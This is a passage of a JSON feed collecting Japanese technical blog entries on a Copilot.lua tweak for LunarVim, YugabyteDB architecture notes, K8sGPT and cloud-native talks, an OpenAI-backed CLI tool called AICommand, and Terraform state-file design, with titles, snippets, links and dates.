~/.local/share/lunarvim/site/pack/lazy/opt/copilot.lua/copilot/dist/agent.js変更が正しく適用されたかどうかを確認するには、以下のコマンドを実行します。grep -o \'.\\\\{30\\\\}h.stop=\\\\[.\\\\{30\\\\}\' ~/.local/share/lunarvim/site/pack/lazy/opt/copilot.lua/copilot/dist/agent.js結果この変更を適用した後、マルチラインサポートが明らかに向上しました。興味があれば最初に紹介したIssue に動画が添付されていたのでご覧ください。LunarVimとCopilot.luaの組み合わせは非常に強力ですが、小さな調整によりさらに快適に使うことができます。このハックが他のユーザーにも役立つことを願っています。後日談この変更を適用した後でマルチラインサポートは向上したのですが一部条件ではまだ、vscodeのような挙動ができません。","link":"https://syu-m-5151.hatenablog.com/entry/2023/08/10/021934","isoDate":"2023-08-09T17:19:34.000Z","dateMiliSeconds":1691601574000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Cloud Run を活用した Pull Request 単位での Ad hoc 開発環境作成","contentSnippet":"きっかけ 開発時、feature ブランチの Pull Request （以下、PR）ごとに実行環境が準備されると便利だよねというところから、PR ごとに開発環境を構築される仕組みを作ることになりました。 使用技術スタッ […]The post Cloud Run を活用した Pull Request 単位での Ad hoc 開発環境作成 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pull-request-based-adhoc-env/","isoDate":"2023-08-09T03:10:37.000Z","dateMiliSeconds":1691550637000,"authorName":"Sreake","authorId":"Sreake"},{"title":"YugabyteDBのドキュメントを全部読む Day4","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > YB-TServer serviceを読みました。今回はArchitecture > Key Concepts > YB-Master serviceを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。YB-Master serviceYB-Masterサービスはテーブルやそのタブレットの場所、ユーザー・ロールの権限といったシステムのメタデータとレコードの管理を行っている。それに加えYB-Masterはロードバランシングやレプリケーションの開始といったバックグラウンドオペレーションの管理や、テーブルのCREATEやALTER、DROPといった様々な管理オペレーションの責任を持つ。YB-MasterはRaft Groupを組むことで高可用性を実現し、またテーブルに対するI/Oの単一障害点にならない。Functions of YB-MasterYB-Masterはシステムの重要な機能を複数持っている。Coordination of universe-wide administrative operationsCREATE TABLEやALTER TABLE、DROP TABLEといったユーザーからのリクエスト処理やバックアップの実行などUniverseをまたぐオペレーション実行の調整を担当している。YB-Masterではこれらのオペレーションがテーブルを保持するYB-TServerの状態に関わらず、全てのテーブルに伝搬されることを保証する。YugabyteDBは分散システムのため、Universeをまたぐ処理中にYB-TServerに障害が発生し一部のタブレットへの適用に失敗してもオペレーションの結果に問題が発生しないことが重要だからである。Storage of system metadataそれぞれのYB-Masterではネームスペースやテーブル、ロール、パーミッション、YB-TServerへ割り当てたテーブル情報を含むシステムメタデータを保存している。これらのシステムレコードはYB-Masterを対象にRaftグループを組みレプリケーションすることで冗長性を実現している。またシステムレコードはYB-Masterが管理するDocDBに保存される。Authoritative source of tablet assignments to YB-TServersYB-Masterは全てのテーブルとそれらをホストするYB-TServerの情報を保存している。一般のクライアントではそれらの情報はクライアントからクエリレイヤなどを通して取得された上で、クライアントにメタデータを返しデータアクセスが行なわれる。一方でスマートクライアントではYB-Masterに保存されたメタデータを利用して特定のYB-TServerが保持するタブレットやキャッシュを利用することが出来るため、データアクセス時のネットワークをまたぐ通信を減らすことができパフォーマンスを高めることができる。Background operationsいくつかのオペレーションはUniverseのライフタイムを通してバックグラウンドで行なうことで、フォアグラウンドのRead/Writeに影響を与えずに実行することが出来る。Data placement and load balancingYB-MasterのリーダーはCREATE TABLE時にタブレットの初期配置をYB-TServerをまたいで行なう。そのときにユーザー定義のデータ配置制約を強制し均一な読み込みを保証する。Universeのライフタイム中のノード追加や障害が発生しても、負荷分散を継続しデータ配置の制約を自動的に適用する。Leader balancing複数のYB-TServerに配置されたタブレットへのアクセスがUniverseをまたいで分散されることを保証している一方で、YB-Masterは対象となるノード1間でそれぞれのノードが同じ数のtablet-peer leader2をもつことを保証する。Rereplication of data on extended YB-TServer failureYB-Masterは全てのYB-TServerからハードビートシグナルを受け取ることでYB-TServerの死活監視を行なっている。そしてYB-MasterはYB-TServerの異常を検知したときに、どれぐらいのあいだYB-TServerが異常であったかを追跡する。閾値を超えると、YB-Masterは障害中のYB-TServerに配置されていたタブレットを再配置するYB-TServerを探し、レプリケーションを実行する。レプリケーションはYB-Masterリーダーに抑制された状態で実行されるため、Universeのフォアグラウンドオペレーションには影響をおよぼさない。Raft Groupのリーダーになれるノード↩↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/4_key_concepts_yb_master_service","isoDate":"2023-08-03T14:48:34.000Z","dateMiliSeconds":1691074114000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"K8sGPT Deep Dive というタイトルで登壇しました #CNDF","contentSnippet":"概要CloudNative Days Fukuoka 2023というイベントに『K8sGPT Deep Dive KubernetesクラスタのAI駆動型分析について』というタイトルで登壇しました。クラウドネイティブとAIを組み合わせることの深い洞察を共有することができ、私自身がエンジニアとして働くなかで、K8sGPTの最新の進化とその可能性について詳しく語る機会はなかなかなく、この経験を活かしていきたい。資料を作っている中で話したいことがどんどん増えていってめちゃくちゃ困った。また、その中でAIOpsについても触れることができ、非常に充実した時間でした。AIOpsはAIと運用管理の統合を指し、それによりIT運用の効率化や自動化が可能となります。その重要性と可能性を伝えることができたので良かった。登壇が終わった今でも、K8sGPTやAIOpsについてさらに知識を深め、クラウドネイティブの世界にどのように最適化された解決策を提供できるかについて考え続けています。参加者の皆さんからもたくさんのフィードバックを頂き、今後の研究や開発の参考になりました。私がこのプレゼンテーションのために読み込んだ複数の本の中で、特に皆さんにお勧めしたい一冊を挙げるとすれば、「大規模言語モデルは新たな知能か――ChatGPTが変えた世界」だと言えます。なぜなら、専門家でも初心者でも、難解な数学を使わずに重要な概念を理解できるように作られているからです。大規模言語モデルは新たな知能か　ＣｈａｔＧＰＴが変えた世界 (岩波科学ライブラリー)作者:岡野原 大輔岩波書店Amazon資料登壇資料になります。このブログの目的は参考資料をいちいち探さなくていいようにありますのでご活用ください。 speakerdeck.com参考文献公式ページ | K8sGPTGitHub | K8sGPTGitHub | K8sGPT OperatorDocs | K8sGPTOperator patternK8sGPT OperatorHow to Get Started With AIOpsPrompt Engineering Guideオブザーバビリティ・エンジニアリングKubernetes基盤を自律的に支えるController化の実装Tips / forkwell-202303-amsy810-k8sAutomation and Machine Learning with Site Reliability EngineeringTEMPLE: Six Pillars of ObservabilityAI時代に向けたクラウドにおける信頼性エンジニアリングの未来構想 / DICOMO2022\xa06A-1大規模言語モデルは新たな知能か――ChatGPTが変えた世界 (岩波科学ライブラリー)ChatGPTの頭の中 (ハヤカワ新書)言語の本質　ことばはどう生まれ、進化したかAI vs. 教科書が読めない子どもたち【ITIL4公認】ITIL 4の基本 図解と実践","link":"https://syu-m-5151.hatenablog.com/entry/2023/08/03/155326","isoDate":"2023-08-03T06:53:26.000Z","dateMiliSeconds":1691045606000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"YugabyteDBのドキュメントを全部読む Day3","contentSnippet":"YugabyteDBのドキュメントを全部読む Day3前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > Universeを読みました。今回はArchitecture > Key Concepts > YB-TServer serviceを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。それはそれとして技術系の単語をカタカナ表記で誤魔化していて、体系的に学んでいないことがバレてしまう。特にストレージまわりが分からない……YB-TServer serviceYB-TServer(YugabyteDB Tablet Servcer)はユーザからの受けつけたYugabyteDBクラスタへのリクエストのI/Oの処理をする。テーブルのデータは一つ以上のTablet peerに分割(シャーディング)される。peerの数はレプリケーションファクターによって決定される。YB-TServerは一つ以上のTablet peerをホストする。Tablet peerはRaftグループを形成してグループ間でデータの複製を行ない、タブレットはYB-TServer上で最大の効率になるように管理される。Server-global block cacheブロックキャッシュは一つTB-TServer上の異なるタブレット間で共有される。YB-TServerのメモリ効率は一つのテーブルからの読み込みが多いほど最適化される。Space AmplificationYugabyteDBではSize-tired Compactionというライトアンプリフィケーション1が小さい圧縮方式を利用している。Size-tired Compactionはスペースアンプリフィケーション2が大きいという問題があるが、YugabyteDBではテーブルは複数のタブレットに分割され、タブレット間でのConcurrent Compactionは特定の最大値まで絞られるため問題になりにくい。YugabyteDBでは凡そ10-20%のスペースアンプリフィケーションにおさまる。つまりSize-tired Compaction一単位が扱うデータ量を小さく(タブレット化)して、同時に実行される圧縮処理数を絞ることで特定のタイミングで圧縮に使用されるストレージ容量を抑えているということ？Throttled compactionsYB-TServerではタブレット間で実行される圧縮処理の同時実行数を制限することで、圧縮処理が多量のリソースを占有することを防いでいる。この機能は圧縮されるファイル同士のサイズを比べ、実行される圧縮処理が妥当であることを確認することで実現されている。Small and large compaction queuesYB-TServerでは圧縮処理を大きい圧縮処理と小さい圧縮処理に分けて優先度を決めることで、I/Oが大きな場合でもシステムの機能を保っている。YugabyteDBでは圧縮処理数を制限することに加え、様々な最適化を実行することで圧縮処理の影響を最小化している。Manual compactionYugabyteDBではyb-admin utilityのcompact_tableコマンドにより、任意のタイミングでテーブルに対して圧縮を実行することが出来る。この方法はデータが新しく書き込まれない場合や、DDLやTTLの超過によるデータ削除時によりデータが断片化したときに有効である。Statistics-based full compactions to improve read performanceYugabyteDBでは読み込まれたkey-valueペアをDocDBレベルで監視している。監視対象となる時間軸はauto-compact-stat-window-secondsで管理されている。YugabyteDBがデータ読み込み時に多量の廃棄されたデータのスキップを検知した場合、full compactionがトリガーされ不要なキーの削除が行なわれる。Full compactionがトリガーされる詳細な条件は対象の時間軸で以下が満された時である。廃棄されたキーとアクティブなキーが読まれる割り合いがauto-compact-percent-obsoleteで定義された閾値を超たとき。廃棄されたキーの読み込みauto-compact-min-obsolete-keys-foundで定義された閾値を超たとき。この機能はTTLを設定したテーブルと互換性があり、TTL file expirationが有効なテーブルではスケジュールされた圧縮を実行しない。Scheduled full compactionsYugabyteDBでは全てのデータに対するデータ圧縮をスケジュール実行することが出来る。スケジュール実行はscheduled-full-compaction-frequency-hoursとscheduled-full-compaction-jitter-factor-percentageのフラグで管理される。この機能は大量のDELETEとUPDATEを定常的に実行するワークロードでのパフォーマンスとディスクスペースの再割り当てに有効である。スケジュール化したデータ圧縮はTTLと互換しているが、TTL file expirationとは互換していない。つまりスケジュールされた圧縮は実行されない。Server-global memstore limitServer-global memstore limitは一つのYB-TServer上のタブレット間でシェアされるメモリサイズを追跡し、強制する。この機能はタブレット間の書き込みに偏りがある場合に有効である。一つのテーブルに書き込みが集中しているばあい、メモリ制限以上のメモリを割り当てることでパフォーマンスを向上させることが出来る。Auto-sizing of block cache and memstoreBlock Cacheとmemstoreは何れも多量のメモリを使用している。これらはtablet-peer間で共有されるリソースのため、メモリ管理とこれらのコンポーネントの様々な環境に合せたサイジングを容易にしている。YB-TServerでは自動で特定の割合のメモリをBlock CacheとMemstoreに割り当てる。Distributing tablet load uniformly across data disks複数のSSDを利用するハードウェアでは、テーブルのデータ(SSTable)とWALはテーブル毎に利用可能なディスクに均等に分散される。このストライピングと呼ばれる負荷分散は、それぞれのディスクがそれぞれのテーブルの負荷を均等に処理することを保証する。SSDで実際に書き込んだデータより書き込み量が増幅する現象。もちろんライトアンプリフィケーションが小さいほうが望ましい。↩↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/3_key_concepts_yb_tserver_service","isoDate":"2023-08-02T16:13:24.000Z","dateMiliSeconds":1690992804000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"YugabyteDBのドキュメントを全部読む Day2","contentSnippet":"YugabyteDBのドキュメントを全部読む Day2前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Design goalsを読みました。今回はArchitecture > Key Concepts > Universeを読みます。また画像は同ドキュメントより引用しています。UniverseYugabyteDBは耐久性とスケーラビリティを兼ねそなえた分散データベースを達成するために、Universe1と呼ばれるノードのグループを持っている。Universeはビジネス要件やレイテンシの兼ね合いでシングルゾーン、単一リージョンマルチゾーン、マルチリージョン、同期・非同期レプリケーションなどを選択することが出来る。UnivereはClusterと表現されることもある。データの構成Universeは一つ以上のネームスペースを持つことができ、またネームスペースは一つ以上のテーブルを持つことができる。YugabyteDBではUniverse上に存在するノードにまたがって保持されるテーブルを設定に従って、シャーディングし、レプリケーション、ロードバランシングを行なう。YugabyteDBはノードやディスク、ゾーンなどに発生した障害に自動で対応し、必要であればデータを新規に分散、レプリケーションを行なう。ネームスペースはYSQLではデータベースに対応し、ほかのDBにおけるネームスペースに対応する2。YCQLではキースペースに対応し、Cassandraのキースペースに対応している。サービスコンポーネントUniverseはYugabyteDB Tablet Server(YB-TServer)とYugabyteDB Master Server(YB-Master)の二つで構成されている。YB-MasterとYB-TServerはRaftにより分散されており、高可用性を達成している。YB-Tserverはテーブルを始めとしたユーザーデータの保存、提供を担当する。YB-Masterはシステムのメタデータを管理し、システム全体のテーブルに対するDDLやメンテナンスの実行、ロードバランシングといったオペレーションを管理する。UniverseとClusterUniverseは一つのプライマリクラスタとゼロ個以上のレプリカクラスタによって構成されている。プライマリクラスタプライマリクラスタはRead/Write両方の実行と、プライマリクラスタ内のノード間の同期的なレプリケーションを担当する。リードレプリカクラスタリードレプリカクラスタはRead処理のみを実行する。Write処理は自動的にプライマリクラスタにルーティングされる。リードレプリカクラスタを利用することで、地理的に分散したデータに対する読み取りの遅延を小さくすることができる。データはプライマリクラスタから非同期的にとりこまれる。これはRaftの書き込みには関与しないRaftオブザーバとして機能する。GoogleのCloud Spannerでも同様にUniverseと呼ばれている↩PostgreSQLではSchemaの裏側に存在するデータ構造↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/2_key_concepts_universe","isoDate":"2023-07-26T15:03:13.000Z","dateMiliSeconds":1690383793000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"YugabyteDBのドキュメントを全部読む Day1","contentSnippet":"Day1最近Twitter改めXで「俺はDBのドキュメント端から端まで読んで強くなった」というX\'s1を複数みかけました。周りのエンジニアに一歩差をつける方法として、フレームワークやミドルウェアやライブラリのドキュメントを最初から最後までちゃんと読む、というのがあって、これはマジでコスパ抜群です。— 徳永広夢 (@tokuhirom) July 21, 2023 確かに私のRedisはこれ。 https://t.co/2y1E01aLGw— maru (@maruloop) July 22, 2023 私のMySQLもこれ。 https://t.co/BxiOjeQVPk— yoku0825 (@yoku0825) July 22, 2023 俺のpostgresqlもこれ。 https://t.co/URRjyXCpGI— そーだい@初代ALF (@soudai1025) July 22, 2023 PostgreSQL系NewSQLで最強になりたいのでYugabyteDBのドキュメントを順番に読んで行きます。ドキュメントはv2.19に対応したものです。手始めにArchitectureの一番先頭にあるDesign goalsから読みはじめます。また画像は同ドキュメントより引用しています。Design goalsYugabyteDBは以下を達成することを目標としている。1. 分散トランザクションを提供しながら強い一貫性を保証する。2. Query APIを再発明せず、既存のクエリ言語への互換を達成する。3. 高いパフォーマンスを保証する。4. 地理的に分散したデプロイを可能にする。5. Cloud Native Databaseとしてデザインする。一貫性分断耐性YugabyteDBはCAPの定理で言えばCPを中心に高い可用性を供えたデータベースネットワーク分断などを起因とするSplit BrainはRaft Group内であたらしいリーダーを選出することで対応している。YugabyteDBではLeader Leaseという障害が発生しても常に一つのリーダが存在することを保証する仕組みを実装している。直列化可能性single-row Linearizable writeをサポートしている。ACIDトランザクションYugabyteDBではSeriarizable、Repetable Read、Read Committed Isolationの三つの分離レベルをサポートしている。YSQL APIではこれら3つの分離レベルをサポートしているが、YCQLではRepeatable Readのみに対応している。Query APIYugabyteDBではYSQLとYCQLという2種類のQuery APIをサポートしている。YSQLYSQLはPostgreSQLに互換したAPIでPostgreSQLのクエリレイヤを再利用している。新しい変更は互換性を崩さない。YSQLは新しいPostgreSQLに互換しつづけることを目標としている。YCQLYCQLはCassandraのクエイ言語から派生した半リレーショナルなクエリ言語で、Webスケールな膨大なwriteに対応してスケールし素早いデータ取得を目標としている。パフォーマンスC++で実装されているため高いパフォーマンスと巨大なHeap(RAM)をCacheとして利用できる。SSDとNVMeに最適化している。高いWriteスループットとクライアントの同時実行性、高いデータ密度、増加し続けるデータへの対応を目標としている。地理的分散Zone、Multi Region、Multi Cloudいずれにも対応している。これに対応するために、ノード障害やトラヒックのルーティングなどに対応できる必要がある。クラウドネイティブアーキテクチャパブリッククラウドやオンプレミスで利用される一般てきなハードウェアで利用可能にする。原子時計のような特別なものに依存しない。Kubernatesに対応している。OSSで提供している。https://twitter.com/SawyerMerritt/status/1683365478582951936↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/1_design_goals","isoDate":"2023-07-25T15:01:52.000Z","dateMiliSeconds":1690297312000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Terraformでmapにkeyが含まれないときにスキップしたい","contentSnippet":"Google CloudではPublic IPを利用した際に割り振られる可能性のあるCIDRの一覧がcloud.jsonでJSON形式で公開されています。この記事は雑な検証用のTerraformで承認済みネットワークにasia-notheast1のCIDRを全部登録してやろうとしたとき、上記のJSONファイルからscopeがasia-northeast1のprefixes.ipv4Prefixを抜きだそうとしたときにハマったのでその対応方法のメモです 結論以下のような感じで書いたら対応できました。contains(keys(hoge), \\"fuga\\") # hogeのkeyにh...","link":"https://zenn.dev/nnaka2992/articles/skip_when_key_does_not_exists_in_map_terraform","isoDate":"2023-07-22T14:53:12.000Z","dateMiliSeconds":1690037592000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Four Keys とは？考え方から導入まで徹底検証してみた","contentSnippet":"はじめに Sreake事業部でインターンをしている村山です。私は以前に、2022年のAccelerate State of DevOps Reportについて調査を行いました。DevOps Reportでは、Four K […]The post Four Keys とは？考え方から導入まで徹底検証してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-four-keys/","isoDate":"2023-07-21T09:56:19.000Z","dateMiliSeconds":1689933379000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetes の upstream のキャッチアップ","contentSnippet":"先日、Kubernetes Meetup Tokyo #59 で「KEP から眺める Kubernetes」というタイトルで発表しました。発表の後で Kubernetes の upstream のキャッチアップ方法について質問を受けました。その場で回答はしたのですが、ちょうど社内の共有会で似たような話をしたところだったので、加筆修正したものを公開しておきます。 はじめにKubernetes の upstream を追いかけ始めて 1 年ちょっと経ったので、その経験をまとめます。Kubernetes の upstream やエコシステムを観察しているだけで、コントリビュータではありま...","link":"https://zenn.dev/toversus/articles/52b107ab103712","isoDate":"2023-07-20T10:18:32.000Z","dateMiliSeconds":1689848312000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"CLIの実行結果を正しく理解することを促すツールを作成しました。","contentSnippet":"概要AIの技術は目覚ましい進歩を遂げています。特に自然言語処理（NLP）の分野では、GPT-4のようなモデルが人間に近いレベルで文章を理解し、生成することができるようになりました。しかし、これらのモデルを日々の業務や作業にどのように活用すればよいのか、多くの人々がまだ手探りの状態です。一方、コマンドラインは、システム管理者やソフトウェア開発者にとって重要なツールです。コマンドラインからシステムの状態を調べたり、プログラムを実行したりするためには、これらで利用するコマンドの理解とそれらを十分に使いこなすことが必要です。netflixtechblog.comアフィリエイトでも何でもなく運用で利用するコマンドについてはLinuCなどもあるので教材を読むだけでもおすすめしたい。linuc.orgでは、AIがコマンドプロンプトの結果を理解し、それを人間がより理解しやすい形で説明することができたら、どうでしょうか？ここで、AICommandを紹介します。AICommandは、コマンドプロンプトの実行とその結果の解釈を統合したツールであり、AIの力を借りてコマンドプロンプトの結果を理解する新しい試みです。今回の記事では、このAICommandについて詳しく見ていきましょう。シェルコマンドの実行とその結果をOpenAIのGPTモデルに結果を送信し解説を要求するGo製CLIツールです。コマンドの処理状況も視覚的に表示します。 pic.twitter.com/5q6jqyWbsx— nwiizo (@nwiizo) 2023年7月18日 AICommandの紹介AICommandは、コマンドプロンプトの結果を人間が理解しやすい形に解釈するための新しいツールです。OpenAIの強力な自然言語処理モデルを使用して、コマンドラインから得られた情報を詳細に解析し、その結果を説明します。これにより、複雑なコマンドの実行結果も、非専門家でも簡単に理解できるようになります。github.comコマンドプロンプトは非常に強力で、システムの管理やデータの分析には欠かせないツールですが、その結果を正しく理解するには専門知識が必要で、学習コストが高いという課題がありました。しかし、AICommandを使えば、そのハードルが大きく下がります。たとえば、システムのログを確認するためのコマンドを実行した結果を、AIが解釈し、重要なポイントをハイライトしてくれます。さらに、その結果がどういう意味を持つのか、何が原因でそうなったのかといった情報も提供してくれます。このように、AICommandは、AIの能力を利用して、コマンドプロンプトの利用をより手軽で、より理解しやすいものに変えることを目指しています。ソフトウェア開発者やシステム管理者だけでなく、コマンドラインを利用するすべての人々にとって、新たな可能性を広げるツールとなることを目指します。option で日本語にも対応してます。 pic.twitter.com/AkEHh5syPx— nwiizo (@nwiizo) 2023年7月19日 Setup \uD83D\uDD27AICommandはGo言語で書かれているため、Goの開発環境が必要です。まず、Goがまだインストールされていない場合は、公式のインストールガイドに従ってGoをインストールしてください。Install aicommandGoがインストールされたら、次にAICommandをインストールします。go install github.com/nwiizo/aicommand@latestSet the your_api_keyAICommandはOpenAIのGPTモデルを使用しますので、OpenAIのAPIキーが必要となります。OpenAIのアカウントを持っていてAPIキーを取得済みの場合は、そのAPIキーを使用します。まだAPIキーを取得していない場合は、OpenAIの公式ドキュメントを参照してAPIキーを取得してください。APIキーを取得したら、そのキーを環境変数 OPENAI_API_KEYに設定します。設定方法は以下の通りです：export OPENAI_API_KEY=your_api_keyUsage ⏳コマンドの実行とその結果の解釈を行うには、次のように execute コマンドに続けて実行したいコマンドを引数として与えます。コマンドは(ダブル)クオーテーションで囲む必要があります。aicommand execute \\"your-shell-command\\"たとえば、ディレクトリの内容をリストする ls -la コマンドの結果を解釈させたい場合は、次のように実行します。aicommand execute \\"ls -la\\"すると、AICommandは ls -la コマンドを実行し、その結果を解釈して人間が理解しやすい形で説明します。また、解釈結果の言語を指定したい場合は、 --language または-lオプションを使用します。現在、英語（en）と日本語（ja）がサポートされています。デフォルトの言語は英語です。aicommand execute --language ja \\"ls -la\\"さらに、使用するGPTモデルを指定することも可能です。これは --model または -m オプションで指定します。デフォルトは gpt-3.5-turbo です。aicommand execute --model gpt-3.5-turbo \\"ls -la\\"これでAICommandの基本的な使用方法について説明しました。コマンドプロンプトの結果の解釈がこれまで以上に手軽になり、より深い理解が可能になります。AICommandの可能性\uD83E\uDD16AICommandは、私たちが普段利用しているコマンドプロンプトをOpenAIのGPTモデルと組み合わせることで新たな可能性を生み出します。たとえば、複雑なコマンドを実行した結果の意味を理解することが困難な場合や、ログの解析、データ分析などで結果をより深く理解するための手助けとなります。また、様々なプログラムやスクリプトの実行結果を人間が理解できる形で説明してくれるため、デバッグやエラー解析の作業を効率化することが可能です。AICommandを利用すれば、テクニカルな知識がなくてもコマンドラインから得られる情報を理解しやすくなるかもしれません。結論\uD83E\uDDBEAICommandは、AIとCLI（Command Line Interface）の架け橋となるツールであり、この2つの強力なテクノロジーを組み合わせることで、未知の課題に対して新たな視点を提供します。さまざまなバックグラウンドを持つユーザーがコマンドラインから得られる情報をより容易に理解できるようになることで、これまで手が出せなかった問題に取り組む手助けをしてくれるでしょう。しかし、その一方で、AICommandはコマンドプロンプトの出力を人間が理解できる形で解釈するツールであるため、その解釈は絶対的な真実を表すものではありません。AICommandの解釈結果は参考の一つと考え、最終的な意思決定はユーザー自身の判断に任せるべきです。以上のことを念頭に置いて、AICommandを活用すれば、新たな視点からコマンドラインの世界を探索することが可能になるでしょう。ソフトウェア開発にChatGPTは使えるのか？――設計からコーディングまでAIの限界を探る作者:小野 哲技術評論社AmazonCloudNative Days Fukuoka 2023 にて登壇余談なのですが\\"k8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析について” というタイトルで登壇を行います。event.cloudnativedays.jp参考AI時代に向けたクラウドにおける信頼性エンジニアリングの未来構想 / DICOMO2022 6A-1AICommand GitHubリポジトリOpenAIsashabaranov/go-openai","link":"https://syu-m-5151.hatenablog.com/entry/2023/07/19/162657","isoDate":"2023-07-19T07:26:57.000Z","dateMiliSeconds":1689751617000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"成熟度モデルを活用したCloud Nativeへの道筋 という副題で登壇します #開発生産性con_findy","contentSnippet":"概要開発生産性Conferenceというイベントに『Cloud Native の作法 - 成熟度モデルを活用したCloud Nativeへの道筋』というタイトルで登壇しました。生産性に関するイベントなんですけど現場のエンジニアをやっている僕には開発生産性について語ることってあんまりないようなーって思いながら最近、成熟度モデルについて調べていたのでこのタイトルにしました。途中で開発生産性について語るのを諦めてガッツリ資料を作り直しましたので生暖かく見守ってください。あと、ちょっと前に書籍を送って頂きましたが\uD83D\uDCD6 Twitter での告知を忘れていたのでしておきます。読んだ感想としては入門書では決してないですが成熟度モデルでいうとレベル2の段階では読んでほしいと思う書籍になります。また、豊富にドキュメントへのリンクが貼ってあるのでKubernetesという荒野に道を示す地図になると思います(この文章はChatGPTではなく俺が生成した)。Kubernetesの知識地図 —— 現場での基礎から本番運用まで作者:青山 真也,小竹 智士,長谷川 誠,川部 勝也,岩井 佑樹,杉浦 智基技術評論社Amazon資料登壇資料になります。このブログの目的は参考資料をいちいち探さなくていいようにありますのでご活用ください。 speakerdeck.com参考文献Cloud Native Maturity ModelCloud Native TransformationDesign Patterns for Cloud Native ApplicationsIntro to the Cloud Native Maturity Model - Danielle Cook, Simon Forster, Robbie Glenn & John FormanSRE サイトリライアビリティエンジニアリングが”ザックリ”「すっきり」分かる本: Googleが実践している新DevOps方法論SRE サイトリライアビリティエンジニアリングサイトリライアビリティワークブックCloud Native成熟度モデルがWeb公開されましたWhat\'s the Difference Between DevOps and SRE?Solving Reliability Fears with Site Reliability EngineeringReliability When Everything Is a Platform: Why You Need to SRE Your CustomersThe History of DevOps ReportsEffective DevOpsPlatform\xa0Engineeringへの招待Platform Team と 社内政治 〜 出でよ、Platform Champion 〜 / Platform Team and Internal Politics - Platform Engineering Meetup\xa0#2Platform Engineering at\xa0MercariEMPOWERED 普通のチームが並外れた製品を生み出すプロダクトリーダーシッププロダクトマネジメントのすべて 事業戦略・IT開発・UXデザイン・マーケティングからチーム・組織運営まで正しいものを正しくつくる　プロダクトをつくるとはどういうことなのか、あるいはアジャイルのその先についてエンジニアリング組織論への招待　～不確実性に向き合う思考と組織のリファクタリング","link":"https://syu-m-5151.hatenablog.com/entry/2023/07/13/131433","isoDate":"2023-07-13T04:14:33.000Z","dateMiliSeconds":1689221673000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"OpenAI APIを利用してパブリッククラウドの権限要約をしてくれるCLIコマンドを作成した","contentSnippet":"はじめに Sreake事業部の橋本です。前回の記事から引き続き、OpenAIのGPTモデルを利用してDevOps、SREの領域でのtext AIの有効活用を考えていきます。 運用の自動化、構築支援などに活用できると嬉しい […]The post OpenAI APIを利用してパブリッククラウドの権限要約をしてくれるCLIコマンドを作成した first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/summarize-permission-with-openai/","isoDate":"2023-07-11T07:01:52.000Z","dateMiliSeconds":1689058912000,"authorName":"Sreake","authorId":"Sreake"},{"title":"メールが届いたら Google Home で音声で通知する","contentSnippet":"以前、「 LINE に送ったメッセージを Google Home に読み上げさせる」という記事を書きました。 その時に作ったものに家にあるラズパイで Cloud PubSub を subscribe してメッセージが届いたらその内容を Text-to-Speach で","link":"https://blog.1q77.com/2023/07/ses-lambda-and-cloud-pubsub/","isoDate":"2023-07-10T14:25:35.000Z","dateMiliSeconds":1688999135000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"【Terraform\uD83E\uDDD1‍\uD83D\uDE80】tfstateファイルの分割パターンとディレクトリ構成への適用","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Terraformのtfstateファイルを分割する目的と、オススメの分割パターンについて (★)Terraformのリポジトリやリモートバックエンドのディレクトリ構成の設計について記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます！ この記事から得られる知識01. はじめに02. なぜ tfstate ファイルを分割するのか分割していない場合分割している場合分割しなくていい場合03. tfstate ファイルの分割分割の境界状態の依存関係図依存関係図とは依存関係の表現▼ 依存関係の表現記法▼ 依存関係がない場合▼ 依存関係がある場合04. tfstate ファイルに基づくその他の設計リポジトリ \uD83D\uDC31 の設計リポジトリ分割ディレクトリ \uD83D\uDCC2 構成リモートバックエンド \uD83E\uDEA3 の設計リモートバックエンド分割ディレクトリ構成05. 状態の依存関係の定義方法terraform_remote_stateブロックの場合terraform_remote_stateブロックによる依存状態の依存関係図リポジトリのディレクトリ構成リモートバックエンドのディレクトリ構成AWSリソース別のdataブロックの場合AWSリソース別のdataブロックによる依存状態の依存関係図リポジトリのディレクトリ構成リモートバックエンドのディレクトリ構成06. tfstate ファイルの分割パターンオススメな設計の一覧大分類 (上層/下層/中間層) とディレクトリ構成の関係リポジトリの場合リモートバックエンドの場合07. 上層の分割 (推奨)上層の分割についてプロバイダーのアカウント別 - ★★★この分割方法について【プロバイダーアカウント別】状態の依存関係図【プロバイダーアカウント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【プロバイダーアカウント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合08. 下層の分割 (推奨)下層の分割について実行環境別 - ★★★この分割方法について【実行環境別】状態の依存関係図【実行環境別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【実行環境別】リモートバックエンドのディレクトリ構成▼ 